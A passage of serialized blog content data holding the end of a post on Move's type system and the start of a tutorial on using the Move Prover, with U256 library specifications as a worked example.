(",{"type":25,"tag":201,"props":10220,"children":10221},{"style":246},[10222],{"type":31,"value":3641},{"type":25,"tag":201,"props":10224,"children":10225},{"style":261},[10226],{"type":31,"value":3208},{"type":25,"tag":201,"props":10228,"children":10229},{"style":246},[10230],{"type":31,"value":9994},{"type":25,"tag":201,"props":10232,"children":10233},{"style":220},[10234],{"type":31,"value":4666},{"type":25,"tag":201,"props":10236,"children":10237},{"class":203,"line":531},[10238],{"type":25,"tag":201,"props":10239,"children":10240},{"style":220},[10241],{"type":31,"value":10242},"      }) {\n",{"type":25,"tag":201,"props":10244,"children":10245},{"class":203,"line":550},[10246,10251,10255,10260],{"type":25,"tag":201,"props":10247,"children":10248},{"style":220},[10249],{"type":31,"value":10250},"          vector",{"type":25,"tag":201,"props":10252,"children":10253},{"style":261},[10254],{"type":31,"value":4988},{"type":25,"tag":201,"props":10256,"children":10257},{"style":214},[10258],{"type":31,"value":10259},"push_back",{"type":25,"tag":201,"props":10261,"children":10262},{"style":220},[10263],{"type":31,"value":4970},{"type":25,"tag":201,"props":10265,"children":10266},{"class":203,"line":563},[10267,10272,10276,10280],{"type":25,"tag":201,"props":10268,"children":10269},{"style":261},[10270],{"type":31,"value":10271},"              &",{"type":25,"tag":201,"props":10273,"children":10274},{"style":208},[10275],{"type":31,"value":5228},{"type":25,"tag":201,"props":10277,"children":10278},{"style":246},[10279],{"type":31,"value":9929},{"type":25,"tag":201,"props":10281,"children":10282},{"style":220},[10283],{"type":31,"value":547},{"type":25,"tag":201,"props":10285,"children":10286},{"class":203,"line":572},[10287,10292,10296,10301,10305,10310,10314,10318,10322,10327,10331,10336,10340,10345,10350,10355,10359,10363,10367,10372,10376,10380],{"type":25,"tag":201,"props":10288,"children":10289},{"style":220},[10290],{"type":31,"value":10291},"              (",{"type":25,"tag":201,"props":10293,"children":10294},{"style":261},[10295],{"type":31,"value":6077},{"type":25,"tag":201,"props":10297,"children":10298},{"style":220},[10299],{"type":31,"value":10300},"vector",{"type":25,"tag":201,"props":10302,"children":10303},{"style":261},[10304],{"type":31,"value":4988},{"type":25,"tag":201,"props":10306,"children":10307},{"style":214},[10308],{"type":31,"value":10309},"borrow",{"type":25,"tag":201,"props":10311,"children":10312},{"style":220},[10313],{"type":31,"value":298},{"type":25,"tag":201,"props":10315,"children":10316},{"style":261},[10317],{"type":31,"value":4615},{"type":25,"tag":201,"props":10319,"children":10320},{"style":246},[10321],{"type":31,"value":1461},{"type":25,"tag":201,"props":10323,"children":10324},{"style":220},[10325],{"type":31,"value":10326},", (",{"type":25,"tag":201,"props":10328,"children":10329},{"style":246},[10330],{"type":31,"value":3641},{"type":25,"tag":201,"props":10332,"children":10333},{"style":208},[10334],{"type":31,"value":10335}," as",{"type":25,"tag":201,"props":10337,"children":10338},{"style":4925},[10339],{"type":31,"value":7369},{"type":25,"tag":201,"props":10341,"children":10342},{"style":220},[10343],{"type":31,"value":10344},")) ",{"type":25,"tag":201,"props":10346,"children":10347},{"style":208},[10348],{"type":31,"value":10349},"as",{"type":25,"tag":201,"props":10351,"children":10352},{"style":4925},[10353],{"type":31,"value":10354}," u128",{"type":25,"tag":201,"props":10356,"children":10357},{"style":220},[10358],{"type":31,"value":385},{"type":25,"tag":201,"props":10360,"children":10361},{"style":261},[10362],{"type":31,"value":6077},{"type":25,"tag":201,"props":10364,"children":10365},{"style":220},[10366],{"type":31,"value":238},{"type":25,"tag":201,"props":10368,"children":10369},{"style":246},[10370],{"type":31,"value":10371},"n_coins",{"type":25,"tag":201,"props":10373,"children":10374},{"style":208},[10375],{"type":31,"value":10335},{"type":25,"tag":201,"props":10377,"children":10378},{"style":4925},[10379],{"type":31,"value":10354},{"type":25,"tag":201,"props":10381,"children":10382},{"style":220},[10383],{"type":31,"value":4666},{"type":25,"tag":201,"props":10385,"children":10386},{"class":203,"line":590},[10387],{"type":25,"tag":201,"props":10388,"children":10389},{"style":220},[10390],{"type":31,"value":10391},"          );\n",{"type":25,"tag":201,"props":10393,"children":10394},{"class":203,"line":608},[10395,10400,10404,10408,10413,10417],{"type":25,"tag":201,"props":10396,"children":10397},{"style":246},[10398],{"type":31,"value":10399},"          i",{"type":25,"tag":201,"props":10401,"children":10402},{"style":261},[10403],{"type":31,"value":413},{"type":25,"tag":201,"props":10405,"children":10406},{"style":246},[10407],{"type":31,"value":4904},{"type":25,"tag":201,"props":10409,"children":10410},{"style":261},[10411],{"type":31,"value":10412}," +",{"type":25,"tag":201,"props":10414,"children":10415},{"style":426},[10416],{"type":31,"value":6029},{"type":25,"tag":201,"props":10418,"children":10419},{"style":220},[10420],{"type":31,"value":461},{"type":25,"tag":201,"props":10422,"children":10423},{"class":203,"line":617},[10424],{"type":25,"tag":201,"props":10425,"children":10426},{"style":220},[10427],{"type":31,"value":1113},{"type":25,"tag":201,"props":10429,"children":10430},{"class":203,"line":625},[10431,10436],{"type":25,"tag":201,"props":10432,"children":10433},{"style":246},[10434],{"type":31,"value":10435},"      spec",{"type":25,"tag":201,"props":10437,"children":10438},{"style":220},[10439],{"type":31,"value":327},{"type":25,"tag":201,"props":10441,"children":10442},{"class":203,"line":642},[10443,10448,10452,10456,10460],{"type":25,"tag":201,"props":10444,"children":10445},{"style":246},[10446],{"type":31,"value":10447},"          assert",{"type":25,"tag":201,"props":10449,"children":10450},{"style":246},[10451],{"type":31,"value":4904},{"type":25,"tag":201,"props":10453,"children":10454},{"style":261},[10455],{"type":31,"value":4789},{"type":25,"tag":201,"props":10457,"children":10458},{"style":246},[10459],{"type":31,"value":9994},{"type":25,"tag":201,"props":10461,"children":10462},{"style":220},[10463],{"type":31,"value":461},{"type":25,"tag":201,"props":10465,"children":10466},{"class":203,"line":659},[10467,10471,10475,10479,10483,10487,10491,10495],{"type":25,"tag":201,"props":10468,"children":10469},{"style":246},[10470],{"type":31,"value":10447},{"type":25,"tag":201,"props":10472,"children":10473},{"style":214},[10474],{"type":31,"value":10065},{"type":25,"tag":201,"props":10476,"children":10477},{"style":220},[10478],{"type":31,"value":298},{"type":25,"tag":201,"props":10480,"children":10481},{"style":246},[10482],{"type":31,"value":1461},{"type":25,"tag":201,"props":10484,"children":10485},{"style":220},[10486],{"type":31,"value":385},{"type":25,"tag":201,"props":10488,"children":10489},{"style":261},[10490],{"type":31,"value":10083},{"type":25,"tag":201,"props":10492,"children":10493},{"style":246},[10494],{"type":31,"value":9994},{"type":25,"tag":201,"props":10496,"children":10497},{"style":220},[10498],{"type":31,"value":461},{"type":25,"tag":201,"props":10500,"children":10501},{"class":203,"line":667},[10502],{"type":25,"tag":201,"props":10503,"children":10504},{"style":220},[10505],{"type":31,"value":1113},{"type":25,"tag":201,"props":10507,"children":10508},{"class":203,"line":676},[10509],{"type":25,"tag":201,"props":10510,"children":10511},{"style":246},[10512],{"type":31,"value":10513},"      amounts_times_coins\n",{"type":25,"tag":201,"props":10515,"children":10516},{"class":203,"line":694},[10517],{"type":25,"tag":201,"props":10518,"children":10519},{"style":220},[10520],{"type":31,"value":1178},{"type":25,"tag":201,"props":10522,"children":10523},{"class":203,"line":707},[10524,10528,10532],{"type":25,"tag":201,"props":10525,"children":10526},{"style":246},[10527],{"type":31,"value":9653},{"type":25,"tag":201,"props":10529,"children":10530},{"style":246},[10531],{"type":31,"value":9866},{"type":25,"tag":201,"props":10533,"children":10534},{"style":220},[10535],{"type":31,"value":327},{"type":25,"tag":201,"props":10537,"children":10538},{"class":203,"line":715},[10539,10543,10548],{"type":25,"tag":201,"props":10540,"children":10541},{"style":246},[10542],{"type":31,"value":9669},{"type":25,"tag":201,"props":10544,"children":10545},{"style":246},[10546],{"type":31,"value":10547}," opaque",{"type":25,"tag":201,"props":10549,"children":10550},{"style":220},[10551],{"type":31,"value":461},{"type":25,"tag":201,"props":10553,"children":10554},{"class":203,"line":732},[10555,10560,10564],{"type":25,"tag":201,"props":10556,"children":10557},{"style":246},[10558],{"type":31,"value":10559},"      aborts_if",{"type":25,"tag":201,"props":10561,"children":10562},{"style":208},[10563],{"type":31,"value":542},{"type":25,"tag":201,"props":10565,"children":10566},{"style":220},[10567],{"type":31,"value":461},{"type":25,"tag":201,"props":10569,"children":10570},{"class":203,"line":749},[10571,10575,10579,10583,10588,10592,10596,10600,10604,10608],{"type":25,"tag":201,"props":10572,"children":10573},{"style":246},[10574],{"type":31,"value":9695},{"type":25,"tag":201,"props":10576,"children":10577},{"style":214},[10578],{"type":31,"value":10065},{"type":25,"tag":201,"props":10580,"children":10581},{"style":220},[10582],{"type":31,"value":298},{"type":25,"tag":201,"props":10584,"children":10585},{"style":246},[10586],{"type":31,"value":10587},"result",{"type":25,"tag":201,"props":10589,"children":10590},{"style":220},[10591],{"type":31,"value":385},{"type":25,"tag":201,"props":10593,"children":10594},{"style":261},[10595],{"type":31,"value":10083},{"type":25,"tag":201,"props":10597,"children":10598},{"style":214},[10599],{"type":31,"value":10065},{"type":25,"tag":201,"props":10601,"children":10602},{"style":220},[10603],{"type":31,"value":298},{"type":25,"tag":201,"props":10605,"children":10606},{"style":246},[10607],{"type":31,"value":1461},{"type":25,"tag":201,"props":10609,"children":10610},{"style":220},[10611],{"type":31,"value":308},{"type":25,"tag":201,"props":10613,"children":10614},{"class":203,"line":757},[10615,10619,10623,10627,10631,10635,10639,10644,10648,10652,10656,10660,10665,10669,10673,10677,10681,10685,10689,10693,10697,10701,10705,10709,10713],{"type":25,"tag":201,"props":10616,"children":10617},{"style":246},[10618],{"type":31,"value":9695},{"type":25,"tag":201,"props":10620,"children":10621},{"style":246},[10622],{"type":31,"value":10126},{"type":25,"tag":201,"props":10624,"children":10625},{"style":246},[10626],{"type":31,"value":10131},{"type":25,"tag":201,"props":10628,"children":10629},{"style":208},[10630],{"type":31,"value":4549},{"type":25,"tag":201,"props":10632,"children":10633},{"style":426},[10634],{"type":31,"value":4554},{"type":25,"tag":201,"props":10636,"children":10637},{"style":261},[10638],{"type":31,"value":4559},{"type":25,"tag":201,"props":10640,"children":10641},{"style":214},[10642],{"type":31,"value":10643},"len",{"type":25,"tag":201,"props":10645,"children":10646},{"style":220},[10647],{"type":31,"value":298},{"type":25,"tag":201,"props":10649,"children":10650},{"style":246},[10651],{"type":31,"value":1461},{"type":25,"tag":201,"props":10653,"children":10654},{"style":220},[10655],{"type":31,"value":3073},{"type":25,"tag":201,"props":10657,"children":10658},{"style":261},[10659],{"type":31,"value":5997},{"type":25,"tag":201,"props":10661,"children":10662},{"style":246},[10663],{"type":31,"value":10664}," result",{"type":25,"tag":201,"props":10666,"children":10667},{"style":220},[10668],{"type":31,"value":423},{"type":25,"tag":201,"props":10670,"children":10671},{"style":246},[10672],{"type":31,"value":10164},{"type":25,"tag":201,"props":10674,"children":10675},{"style":220},[10676],{"type":31,"value":10169},{"type":25,"tag":201,"props":10678,"children":10679},{"style":261},[10680],{"type":31,"value":10083},{"type":25,"tag":201,"props":10682,"children":10683},{"style":246},[10684],{"type":31,"value":10178},{"type":25,"tag":201,"props":10686,"children":10687},{"style":220},[10688],{"type":31,"value":423},{"type":25,"tag":201,"props":10690,"children":10691},{"style":246},[10692],{"type":31,"value":10164},{"type":25,"tag":201,"props":10694,"children":10695},{"style":220},[10696],{"type":31,"value":10169},{"type":25,"tag":201,"props":10698,"children":10699},{"style":261},[10700],{"type":31,"value":6077},{"type":25,"tag":201,"props":10702,"children":10703},{"style":214},[10704],{"type":31,"value":10065},{"type":25,"tag":201,"props":10706,"children":10707},{"style":220},[10708],{"type":31,"value":298},{"type":25,"tag":201,"props":10710,"children":10711},{"style":246},[10712],{"type":31,"value":1461},{"type":25,"tag":201,"props":10714,"children":10715},{"style":220},[10716],{"type":31,"value":308},{"type":25,"tag":201,"props":10718,"children":10719},{"class":203,"line":765},[10720],{"type":25,"tag":201,"props":10721,"children":10722},{"style":220},[10723],{"type":31,"value":1178},{"type":25,"tag":26,"props":10725,"children":10726},{"id":6817},[10727],{"type":31,"value":6820},{"type":25,"tag":34,"props":10729,"children":10730},{},[10731],{"type":31,"value":10732},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":25,"tag":34,"props":10734,"children":10735},{},[10736],{"type":31,"value":10737},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":25,"tag":34,"props":10739,"children":10740},{},[10741,10743,10750],{"type":31,"value":10742},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":25,"tag":71,"props":10744,"children":10747},{"href":10745,"rel":10746},"https://twitter.com/notdeghost/",[75],[10748],{"type":31,"value":10749},"@notdeghost",{"type":31,"value":80},{"type":25,"tag":4349,"props":10752,"children":10753},{},[10754],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":10756},[10757,10758,10759],{"id":7268,"depth":226,"text":7271},{"id":9305,"depth":226,"text":9308},{"id":6817,"depth":226,"text":6820},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":10764,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":10765,"description":10766,"author":7229,"image":10767,"date":10770,"isFeatured":17,"tags":10771,"onBlogPage":17,"body":10774,"_type":4371,"_id":15115,"_source":4373,"_file":15116,"_stem":15117,"_extension":4376},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":10768,"height":10769,"width":7233},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[10772,10773],"move","tutorial",{"type":22,"children":10775,"toc":15101},[10776,10795,10807,10813,10818,10823,10828,10837,10842,10856,10861,10867,10872,10886,10891,11028,11041,11046,11067,11101,11112,11117,11122,11132,11144,11486,11500,11518,11563,11576,11595,11767,11772,11777,11802,11807,12406,12418,12430,12435,12449,12454,12467,12508,12513,12545,12550,12555,12568,12953,12980,13187,13192,13204,13441,13446,13454,13473,13821,13826,13983,13988,13995,14009,14015,14020,14025,14031,14044,14276,14282,14287,14307,14576,14581,14587,14599,14604,14618,14624,14660,14760,14781,14787,14792,14797,15049,15054,15072,15076,15081,15086,15097],{"type":25,"tag":34,"props":10777,"children":10778},{},[10779,10781,10786,10788,10793],{"type":31,"value":10780},"Formal verification -- a powerful tool for ",{"type":25,"tag":65,"props":10782,"children":10783},{},[10784],{"type":31,"value":10785},"proving",{"type":31,"value":10787}," the correctness of your programs. How does it ",{"type":25,"tag":65,"props":10789,"children":10790},{},[10791],{"type":31,"value":10792},"actually",{"type":31,"value":10794}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":25,"tag":34,"props":10796,"children":10797},{},[10798,10800,10805],{"type":31,"value":10799},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":25,"tag":65,"props":10801,"children":10802},{},[10803],{"type":31,"value":10804},"all",{"type":31,"value":10806}," possible inputs.",{"type":25,"tag":26,"props":10808,"children":10810},{"id":10809},"move-prover",[10811],{"type":31,"value":10812},"Move Prover",{"type":25,"tag":34,"props":10814,"children":10815},{},[10816],{"type":31,"value":10817},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":25,"tag":34,"props":10819,"children":10820},{},[10821],{"type":31,"value":10822},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":25,"tag":34,"props":10824,"children":10825},{},[10826],{"type":31,"value":10827},"The architecture of the tool consists of multiple components as illustrated below.",{"type":25,"tag":34,"props":10829,"children":10830},{},[10831],{"type":25,"tag":127,"props":10832,"children":10836},{"alt":10833,"src":10834,"title":10835},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":25,"tag":34,"props":10838,"children":10839},{},[10840],{"type":31,"value":10841},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":25,"tag":34,"props":10843,"children":10844},{},[10845,10847,10854],{"type":31,"value":10846},"The model is translated into an intermediate language, called ",{"type":25,"tag":71,"props":10848,"children":10851},{"href":10849,"rel":10850},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[75],[10852],{"type":31,"value":10853},"Boogie",{"type":31,"value":10855},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":25,"tag":34,"props":10857,"children":10858},{},[10859],{"type":31,"value":10860},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":25,"tag":26,"props":10862,"children":10864},{"id":10863},"move-specification-language",[10865],{"type":31,"value":10866},"Move Specification Language",{"type":25,"tag":34,"props":10868,"children":10869},{},[10870],{"type":31,"value":10871},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":25,"tag":34,"props":10873,"children":10874},{},[10875,10877,10884],{"type":31,"value":10876},"To better understand how to use the MSL, we will use ",{"type":25,"tag":71,"props":10878,"children":10881},{"href":10879,"rel":10880},"https://github.com/pontem-network/u256",[75],[10882],{"type":31,"value":10883},"Pontem's U256 library",{"type":31,"value":10885},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":25,"tag":34,"props":10887,"children":10888},{},[10889],{"type":31,"value":10890},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":25,"tag":191,"props":10892,"children":10894},{"code":10893,"language":4486,"meta":7,"className":4487,"style":7},"struct U256 has copy, drop, store {\n    v0: u64,\n    v1: u64,\n    v2: u64,\n    v3: u64,\n}\n",[10895],{"type":25,"tag":115,"props":10896,"children":10897},{"__ignoreMap":7},[10898,10941,10961,10981,11001,11021],{"type":25,"tag":201,"props":10899,"children":10900},{"class":203,"line":204},[10901,10906,10910,10915,10920,10924,10929,10933,10937],{"type":25,"tag":201,"props":10902,"children":10903},{"style":208},[10904],{"type":31,"value":10905},"struct",{"type":25,"tag":201,"props":10907,"children":10908},{"style":4925},[10909],{"type":31,"value":6237},{"type":25,"tag":201,"props":10911,"children":10912},{"style":246},[10913],{"type":31,"value":10914}," has",{"type":25,"tag":201,"props":10916,"children":10917},{"style":246},[10918],{"type":31,"value":10919}," copy",{"type":25,"tag":201,"props":10921,"children":10922},{"style":220},[10923],{"type":31,"value":919},{"type":25,"tag":201,"props":10925,"children":10926},{"style":246},[10927],{"type":31,"value":10928},"drop",{"type":25,"tag":201,"props":10930,"children":10931},{"style":220},[10932],{"type":31,"value":919},{"type":25,"tag":201,"props":10934,"children":10935},{"style":246},[10936],{"type":31,"value":7449},{"type":25,"tag":201,"props":10938,"children":10939},{"style":220},[10940],{"type":31,"value":327},{"type":25,"tag":201,"props":10942,"children":10943},{"class":203,"line":226},[10944,10949,10953,10957],{"type":25,"tag":201,"props":10945,"children":10946},{"style":246},[10947],{"type":31,"value":10948},"    v0",{"type":25,"tag":201,"props":10950,"children":10951},{"style":261},[10952],{"type":31,"value":5997},{"type":25,"tag":201,"props":10954,"children":10955},{"style":4925},[10956],{"type":31,"value":7369},{"type":25,"tag":201,"props":10958,"children":10959},{"style":220},[10960],{"type":31,"value":547},{"type":25,"tag":201,"props":10962,"children":10963},{"class":203,"line":278},[10964,10969,10973,10977],{"type":25,"tag":201,"props":10965,"children":10966},{"style":246},[10967],{"type":31,"value":10968},"    v1",{"type":25,"tag":201,"props":10970,"children":10971},{"style":261},[10972],{"type":31,"value":5997},{"type":25,"tag":201,"props":10974,"children":10975},{"style":4925},[10976],{"type":31,"value":7369},{"type":25,"tag":201,"props":10978,"children":10979},{"style":220},[10980],{"type":31,"value":547},{"type":25,"tag":201,"props":10982,"children":10983},{"class":203,"line":311},[10984,10989,10993,10997],{"type":25,"tag":201,"props":10985,"children":10986},{"style":246},[10987],{"type":31,"value":10988},"    v2",{"type":25,"tag":201,"props":10990,"children":10991},{"style":261},[10992],{"type":31,"value":5997},{"type":25,"tag":201,"props":10994,"children":10995},{"style":4925},[10996],{"type":31,"value":7369},{"type":25,"tag":201,"props":10998,"children":10999},{"style":220},[11000],{"type":31,"value":547},{"type":25,"tag":201,"props":11002,"children":11003},{"class":203,"line":330},[11004,11009,11013,11017],{"type":25,"tag":201,"props":11005,"children":11006},{"style":246},[11007],{"type":31,"value":11008},"    v3",{"type":25,"tag":201,"props":11010,"children":11011},{"style":261},[11012],{"type":31,"value":5997},{"type":25,"tag":201,"props":11014,"children":11015},{"style":4925},[11016],{"type":31,"value":7369},{"type":25,"tag":201,"props":11018,"children":11019},{"style":220},[11020],{"type":31,"value":547},{"type":25,"tag":201,"props":11022,"children":11023},{"class":203,"line":397},[11024],{"type":25,"tag":201,"props":11025,"children":11026},{"style":220},[11027],{"type":31,"value":1187},{"type":25,"tag":34,"props":11029,"children":11030},{},[11031,11033,11039],{"type":31,"value":11032},"Now, let's consider the ",{"type":25,"tag":115,"props":11034,"children":11036},{"className":11035},[],[11037],{"type":31,"value":11038},"add(a: U256, b: U256): U256",{"type":31,"value":11040}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":25,"tag":34,"props":11042,"children":11043},{},[11044],{"type":31,"value":11045},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":25,"tag":34,"props":11047,"children":11048},{},[11049,11051,11057,11059,11066],{"type":31,"value":11050},"For example, if your file is ",{"type":25,"tag":115,"props":11052,"children":11054},{"className":11053},[],[11055],{"type":31,"value":11056},"sources/u256.move",{"type":31,"value":11058},", you can put specifications in ",{"type":25,"tag":71,"props":11060,"children":11063},{"href":11061,"rel":11062},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[75],[11064],{"type":31,"value":11065},"sources/u256.spec.move",{"type":31,"value":80},{"type":25,"tag":191,"props":11068,"children":11070},{"code":11069,"language":4486,"meta":7,"className":4487,"style":7},"spec add { ... }\n",[11071],{"type":25,"tag":115,"props":11072,"children":11073},{"__ignoreMap":7},[11074],{"type":25,"tag":201,"props":11075,"children":11076},{"class":203,"line":204},[11077,11081,11086,11091,11096],{"type":25,"tag":201,"props":11078,"children":11079},{"style":246},[11080],{"type":31,"value":9783},{"type":25,"tag":201,"props":11082,"children":11083},{"style":246},[11084],{"type":31,"value":11085}," add",{"type":25,"tag":201,"props":11087,"children":11088},{"style":220},[11089],{"type":31,"value":11090}," { ",{"type":25,"tag":201,"props":11092,"children":11093},{"style":261},[11094],{"type":31,"value":11095},"...",{"type":25,"tag":201,"props":11097,"children":11098},{"style":220},[11099],{"type":31,"value":11100}," }\n",{"type":25,"tag":34,"props":11102,"children":11103},{},[11104,11106,11111],{"type":31,"value":11105},"The specifications placed inside the specification blocks are considered ",{"type":25,"tag":65,"props":11107,"children":11108},{},[11109],{"type":31,"value":11110},"Expressions",{"type":31,"value":80},{"type":25,"tag":40,"props":11113,"children":11115},{"id":11114},"expressions",[11116],{"type":31,"value":11110},{"type":25,"tag":34,"props":11118,"children":11119},{},[11120],{"type":31,"value":11121},"Let's go over some common expressions.",{"type":25,"tag":34,"props":11123,"children":11124},{},[11125,11130],{"type":25,"tag":115,"props":11126,"children":11128},{"className":11127},[],[11129],{"type":31,"value":9833},{"type":31,"value":11131}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":25,"tag":34,"props":11133,"children":11134},{},[11135,11137,11142],{"type":31,"value":11136},"For example, the ",{"type":25,"tag":115,"props":11138,"children":11140},{"className":11139},[],[11141],{"type":31,"value":2011},{"type":31,"value":11143}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":25,"tag":191,"props":11145,"children":11147},{"code":11146,"language":4486,"meta":7,"className":4487,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n    a.v0 +\n    a.v1 * P64 +\n    a.v2 * P64 * P64 +\n    a.v3 * P64 * P64 * P64\n}\n\nspec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[11148],{"type":25,"tag":115,"props":11149,"children":11150},{"__ignoreMap":7},[11151,11184,11191,11240,11262,11291,11328,11369,11376,11383,11398,11479],{"type":25,"tag":201,"props":11152,"children":11153},{"class":203,"line":204},[11154,11158,11163,11167,11171,11175,11180],{"type":25,"tag":201,"props":11155,"children":11156},{"style":208},[11157],{"type":31,"value":4074},{"type":25,"tag":201,"props":11159,"children":11160},{"style":220},[11161],{"type":31,"value":11162}," P64",{"type":25,"tag":201,"props":11164,"children":11165},{"style":261},[11166],{"type":31,"value":5997},{"type":25,"tag":201,"props":11168,"children":11169},{"style":4925},[11170],{"type":31,"value":10354},{"type":25,"tag":201,"props":11172,"children":11173},{"style":261},[11174],{"type":31,"value":413},{"type":25,"tag":201,"props":11176,"children":11177},{"style":426},[11178],{"type":31,"value":11179}," 0x10000000000000000",{"type":25,"tag":201,"props":11181,"children":11182},{"style":220},[11183],{"type":31,"value":461},{"type":25,"tag":201,"props":11185,"children":11186},{"class":203,"line":226},[11187],{"type":25,"tag":201,"props":11188,"children":11189},{"emptyLinePlaceholder":17},[11190],{"type":31,"value":496},{"type":25,"tag":201,"props":11192,"children":11193},{"class":203,"line":278},[11194,11198,11202,11207,11211,11215,11219,11223,11227,11231,11236],{"type":25,"tag":201,"props":11195,"children":11196},{"style":246},[11197],{"type":31,"value":9783},{"type":25,"tag":201,"props":11199,"children":11200},{"style":246},[11201],{"type":31,"value":7715},{"type":25,"tag":201,"props":11203,"children":11204},{"style":214},[11205],{"type":31,"value":11206}," value_of_U256",{"type":25,"tag":201,"props":11208,"children":11209},{"style":220},[11210],{"type":31,"value":298},{"type":25,"tag":201,"props":11212,"children":11213},{"style":246},[11214],{"type":31,"value":71},{"type":25,"tag":201,"props":11216,"children":11217},{"style":261},[11218],{"type":31,"value":5997},{"type":25,"tag":201,"props":11220,"children":11221},{"style":4925},[11222],{"type":31,"value":6237},{"type":25,"tag":201,"props":11224,"children":11225},{"style":220},[11226],{"type":31,"value":3073},{"type":25,"tag":201,"props":11228,"children":11229},{"style":261},[11230],{"type":31,"value":5997},{"type":25,"tag":201,"props":11232,"children":11233},{"style":246},[11234],{"type":31,"value":11235}," num",{"type":25,"tag":201,"props":11237,"children":11238},{"style":220},[11239],{"type":31,"value":327},{"type":25,"tag":201,"props":11241,"children":11242},{"class":203,"line":311},[11243,11248,11252,11257],{"type":25,"tag":201,"props":11244,"children":11245},{"style":246},[11246],{"type":31,"value":11247},"    a",{"type":25,"tag":201,"props":11249,"children":11250},{"style":261},[11251],{"type":31,"value":80},{"type":25,"tag":201,"props":11253,"children":11254},{"style":220},[11255],{"type":31,"value":11256},"v0 ",{"type":25,"tag":201,"props":11258,"children":11259},{"style":261},[11260],{"type":31,"value":11261},"+\n",{"type":25,"tag":201,"props":11263,"children":11264},{"class":203,"line":330},[11265,11269,11273,11278,11282,11286],{"type":25,"tag":201,"props":11266,"children":11267},{"style":246},[11268],{"type":31,"value":11247},{"type":25,"tag":201,"props":11270,"children":11271},{"style":261},[11272],{"type":31,"value":80},{"type":25,"tag":201,"props":11274,"children":11275},{"style":220},[11276],{"type":31,"value":11277},"v1 ",{"type":25,"tag":201,"props":11279,"children":11280},{"style":261},[11281],{"type":31,"value":6077},{"type":25,"tag":201,"props":11283,"children":11284},{"style":4925},[11285],{"type":31,"value":11162},{"type":25,"tag":201,"props":11287,"children":11288},{"style":261},[11289],{"type":31,"value":11290}," +\n",{"type":25,"tag":201,"props":11292,"children":11293},{"class":203,"line":397},[11294,11298,11302,11307,11311,11315,11320,11324],{"type":25,"tag":201,"props":11295,"children":11296},{"style":246},[11297],{"type":31,"value":11247},{"type":25,"tag":201,"props":11299,"children":11300},{"style":261},[11301],{"type":31,"value":80},{"type":25,"tag":201,"props":11303,"children":11304},{"style":220},[11305],{"type":31,"value":11306},"v2 ",{"type":25,"tag":201,"props":11308,"children":11309},{"style":261},[11310],{"type":31,"value":6077},{"type":25,"tag":201,"props":11312,"children":11313},{"style":4925},[11314],{"type":31,"value":11162},{"type":25,"tag":201,"props":11316,"children":11317},{"style":261},[11318],{"type":31,"value":11319}," *",{"type":25,"tag":201,"props":11321,"children":11322},{"style":4925},[11323],{"type":31,"value":11162},{"type":25,"tag":201,"props":11325,"children":11326},{"style":261},[11327],{"type":31,"value":11290},{"type":25,"tag":201,"props":11329,"children":11330},{"class":203,"line":437},[11331,11335,11339,11344,11348,11352,11356,11360,11364],{"type":25,"tag":201,"props":11332,"children":11333},{"style":246},[11334],{"type":31,"value":11247},{"type":25,"tag":201,"props":11336,"children":11337},{"style":261},[11338],{"type":31,"value":80},{"type":25,"tag":201,"props":11340,"children":11341},{"style":220},[11342],{"type":31,"value":11343},"v3 ",{"type":25,"tag":201,"props":11345,"children":11346},{"style":261},[11347],{"type":31,"value":6077},{"type":25,"tag":201,"props":11349,"children":11350},{"style":4925},[11351],{"type":31,"value":11162},{"type":25,"tag":201,"props":11353,"children":11354},{"style":261},[11355],{"type":31,"value":11319},{"type":25,"tag":201,"props":11357,"children":11358},{"style":4925},[11359],{"type":31,"value":11162},{"type":25,"tag":201,"props":11361,"children":11362},{"style":261},[11363],{"type":31,"value":11319},{"type":25,"tag":201,"props":11365,"children":11366},{"style":4925},[11367],{"type":31,"value":11368}," 